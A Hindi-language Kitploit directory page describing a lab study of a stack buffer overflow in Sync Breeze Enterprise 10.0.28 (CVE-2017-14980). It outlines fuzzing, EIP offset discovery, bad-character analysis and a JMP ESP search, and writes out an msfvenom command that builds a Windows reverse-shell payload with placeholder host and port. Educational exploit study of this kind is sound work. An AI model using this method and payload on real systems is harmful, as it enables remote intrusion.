Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2017-14980 — शैक्षणिक उद्देश्यों के लिए एक नियंत्रित प्रयोगशाला वातावरण में क्लासिक स्टैक-आधारित बफर ओवरफ्लो भेद्यता का अध्ययन। | Kitploit
उपकरण/GitHubGitHub/godoy-sec/cve-2017-14980
शोषणडीबगर्सफज़िंगलर्निंग और शिक्षाशेलकोड जनरेशनपेलोड डेवलपमेंटबाइनरी शोषणलैब और अभ्यास
GitHubgodoy-sec/cve-2017-14980

CVE-2017-14980

शैक्षणिक उद्देश्यों के लिए एक नियंत्रित प्रयोगशाला वातावरण में क्लासिक स्टैक-आधारित बफर ओवरफ्लो भेद्यता का अध्ययन।

रिपॉजिटरी देखें
110 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2017-14980

Sync Breeze Enterprise 10.0.28 - बफर ओवरफ्लो अनुसंधान

उद्देश्य

नियंत्रित प्रयोगशाला वातावरण में शैक्षिक उद्देश्यों के लिए एक क्लासिक स्टैक-आधारित बफर ओवरफ्लो भेद्यता का अध्ययन।

इस परियोजना का उद्देश्य निम्नलिखित को बेहतर ढंग से समझना था:

  • एप्लिकेशन फज़िंग
  • क्रैश विश्लेषण
  • EIP नियंत्रण
  • बैड कैरेक्टर पहचान
  • मेमोरी भ्रष्टाचार
  • शेलकोड निष्पादन प्रवाह
  • बुनियादी एक्सप्लॉइट विकास पद्धति

वातावरण

  • Windows 10 वर्चुअल मशीन
  • Sync Breeze Enterprise 10.0.28
  • Immunity Debugger
  • Mona.py
  • Python

प्रयोगशाला सेटअप

पहला चरण भेद्यता अनुसंधान और एक्सप्लॉइट विकास उद्देश्यों के लिए कॉन्फ़िगर की गई Windows 10 वर्चुअल मशीन के अंदर Sync Breeze Enterprise 10.0.28 स्थापित करना था।

सुरक्षित और नियंत्रित परीक्षण सुनिश्चित करने के लिए वातावरण को अलग किया गया था।

दोनों वर्चुअल मशीनों (लक्ष्य और हमलावर) को ब्रिज्ड नेटवर्क एडेप्टर मोड का उपयोग करके कॉन्फ़िगर किया गया था, ताकि एक्सप्लॉइटेशन प्रक्रिया के दौरान सिस्टमों के बीच सीधा नेटवर्क संचार संभव हो सके।

Sync Breeze क्लाइंट

Sync Breeze क्लाइंट

Sync Breeze लॉगिन पेज

Sync Breeze लॉगिन


कार्यप्रणाली

1. सूचना संग्रहण

रनटाइम के दौरान एप्लिकेशन व्यवहार का विश्लेषण करने और क्रैश स्थितियों का निरीक्षण करने के लिए डिबगिंग उपकरण कॉन्फ़िगर किए गए थे।


2. फज़िंग

क्रैश ट्रिगर करने के लिए आवश्यक अनुमानित बफर आकार की पहचान करने हेतु एप्लिकेशन को बाइट्स के बड़े अनुक्रम भेजे गए।


3. भेद्यता सत्यापन

क्रैश सीमा की पहचान करने के बाद, भेद्यता की पुष्टि के लिए एप्लिकेशन का परीक्षण खोजे गए पेलोड आकार का उपयोग करके फिर से किया गया।


4. EIP नियंत्रण

इंस्ट्रक्शन पॉइंटर (EIP) को अधिलेखित करने के लिए आवश्यक सटीक ऑफसेट की पहचान की गई।

एक अद्वितीय पैटर्न उत्पन्न करें:

root@kitploit:~
/usr/bin/msf-pattern_create -l <SIZE>

ऑफसेट की पहचान करें:

root@kitploit:~
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>

जहां:

  • <SIZE> = फज़िंग के दौरान खोजी गई पेलोड लंबाई
  • <EIP_VALUE> = EIP को अधिलेखित करते हुए देखा गया 4-बाइट मान

EIP नियंत्रण स्क्रीनशॉट

EIP नियंत्रण


5. बैड कैरेक्टर विश्लेषण

यह निर्धारित करने के लिए बैड कैरेक्टर की पहचान की गई कि कौन से बाइट्स एप्लिकेशन द्वारा सुरक्षित रूप से संसाधित नहीं किए जा सकते।

बैड कैरेक्टर फ़ाइल


6. रिटर्न एड्रेस पहचान

ASLR सक्षम न होने वाले मॉड्यूल में एक उपयुक्त JMP ESP निर्देश खोजा गया।

लोड किए गए मॉड्यूल की गणना:

root@kitploit:~
!mona modules

JMP ESP की खोज:

root@kitploit:~
!mona find -s "\xff\xe4" -m <MODULE_NAME>

स्थिर मेमोरी एड्रेस की उपस्थिति के कारण एप्लिकेशन-विशिष्ट DLL को प्राथमिकता दी गई।

Mona JMP ESP स्क्रीनशॉट

Mona JMP ESP


7. निष्पादन परीक्षण

नियंत्रित बफर में सही पुनर्निर्देशन सुनिश्चित करने के लिए पेलोड निष्पादन प्रवाह को मान्य किया गया।


8. शेलकोड निर्माण

पहले पहचाने गए बैड कैरेक्टर को छोड़कर शेलकोड उत्पन्न किया गया।

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c

पेलोड निष्पादन विश्वसनीयता में सुधार के लिए शेलकोड से पहले एक NOP स्लेड (\x90) जोड़ा गया।

पेलोड निष्पादन स्क्रीनशॉट

पेलोड निष्पादन


9. अंतिम एक्सप्लॉइट विकास

अंतिम एक्सप्लॉइट को अलग प्रयोगशाला वातावरण में सफलतापूर्वक असेंबल और परीक्षण किया गया।

अस्वीकरण

यह परियोजना विशेष रूप से शैक्षिक और अनुसंधान उद्देश्यों के लिए एक अलग प्रयोगशाला वातावरण में विकसित की गई थी।

टूल डाउनलोड करें